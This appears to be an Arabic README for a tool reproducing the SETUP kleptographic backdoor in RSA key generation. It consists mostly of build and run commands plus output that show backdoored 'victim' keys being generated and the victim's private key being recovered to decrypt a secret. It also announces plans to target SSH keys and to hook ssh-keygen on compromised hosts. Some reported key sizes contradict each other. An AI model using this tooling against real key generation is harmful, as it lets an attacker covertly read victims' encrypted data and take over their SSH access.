
توليد مفاتيح RSA مخترقة باستخدام SETUP
يحتوي هذا المستودع على كود لإعادة إنتاج هجوم الباب الخلفي المضمن سرًا مع حماية شاملة (SETUP) على توليد مفاتيح RSA كما اقترحه Young & Yung, 1996. بالنظر إلى إمكانات هذا الهجوم، لا تثق أبدًا في أنظمة توليد المفاتيح ذات الصندوق الأسود.
المراجع: - عرض الخوارزمية - الورقة الكاملة الأصلية
ابدأ بإنشاء مفاتيح المهاجم ثم قم بإنشاء المفاتيح المخترقة.
# build
go build generator.go
go build decryptor.go
# (option) generate your (legit) RSA keys
openssl genrsa -out attacker_priv.pem 2048
openssl rsa -in attacker_priv.pem -pubout -out attacker_pub.pem
# generate backdoored keys
./generator -pk attacker_pub.pem
# output
------
[*] Generating 4096-bits SETUP...
> This may take a while...
------
------
[*] Found parameters:
> p bit length: 256
> q bit length: 3840
> n bit length: 4096 // final key length
> Attempts needed: 542692
------
------
[*] Backdoored keys saved to:
> Private key: out/victim_priv.pem
> Public key: out/victim_pub.pem
------
------
[*] Test with:
> echo -n "hello world" | openssl pkeyutl -encrypt -inkey out/victim_pub.pem -pubin -out out/cipher.bin // encrypt with SETUP PK
> ./decryptor -pk out/victim_pub.pem -sk <attacker_priv.pem> -c out/cipher.bin // decrypt with SK
------
إذا وثق الضحية في المفاتيح التي تلقاها (والتي تبدو طبيعية تمامًا وتعمل كما هو متوقع) فسيستخدمها لتشفير بعض البيانات، على سبيل المثال:
# encrypt
echo -n "SuperSecretSh1tttttt" | openssl pkeyutl -encrypt -inkey out/victim_pub.pem -pubin -out out/cipher.bin
# verify
echo out/cipher.bin | base64
المفاجأة هي أن المهاجم يمكنه فك تشفير الرسالة باستخدام المفتاح العام للضحية ومفتاحه الخاص. على سبيل المثال:
# decrypt
./decryptor -pk out/victim_pub.pem -sk attacker_priv.pem -c out/cipher.bin
# output
------
[*] Loading keys and ciphertext...
> Loaded victim public key
> Loaded attacker private key
> Loaded ciphertext
------
------
[*] Deriving private key from SETUP...
> PK bitsize: 2048
> Found valid factorization using s1
> Recovered p (bit length: 256)
> Recovered q (bit length: 3840)
> Recovered d (bit length: 4092)
------
--- DECRYPTED MESSAGE ---
��ϓ�f�~~P�k(���t%Tp��i/3qHvr��s �x��f����){���\c�f�
�.���n�=y���
�R}��r_2���q�H>u�K��%EB�,�yNZ���5�1��:�>��%O�Y/�,��J$a���`��
�ì�|��k&r��1�5H˚�+����U�/4p� ���֒9���#Gmծ����=�gfq��Pg,w�g)�E^���ͻ����-2�t�2-v
�y�.�Ȟ�<0S�i8�w�+�\���D/��/���e���sf?18��l�����Э�Y�
�uk��D҃C�P�leS�<���Cy�oI�I�˴�O�B'
g;L9{b�o.���y.���+J���
2А�$���WƇ�B���υk�D�SuperSecretSh1tttttt
-------------------------
إذا كنت تريد التفاصيل الكاملة لهذا الهجوم، فراجع الرابطين في المقدمة. النظرة العامة عالية المستوى لهذا الهجوم هي التالية:
حاليًا، يستخدم البرنامج ProbablyPrime() للتحقق مما إذا كان n معطى أوليًا. يقوم ProbablyPrime() بإجراء n اختبار ميلر-رابين للتحقق مما إذا كان x أوليًا. إذا أعاد القيمة true، فإن x أولي مع احتمال 1 - 1/4^n. إذا أعاد القيمة false، فإن x ليس أوليًا. ونتيجة لذلك، هناك احتمال غير صفري أن يفشل توليد الباب الخلفي (لا يمكن حل Q). ما عليك سوى إعادة تشغيل الأداة إذا حدث ذلك.
دعم التنسيقات التالية: ssh-rsa, ssh-dsa, ssh-ecdsa. من الناحية النظرية، SETUP ممكن لهذه التنسيقات، ssh-ed25519 مقاوم لـ SETUP. يمكن بعد ذلك اشتقاق مفتاح SSH الخاص من المفاتيح العامة التي تم الحصول عليها باستخدام ssh-keyscan. أخطط أيضًا لتوفير أداة صغيرة لربط ssh-keygen على المضيف المخترق لاختراق المفاتيح المستقبلية تلقائيًا... سيتم تحديده لاحقًا.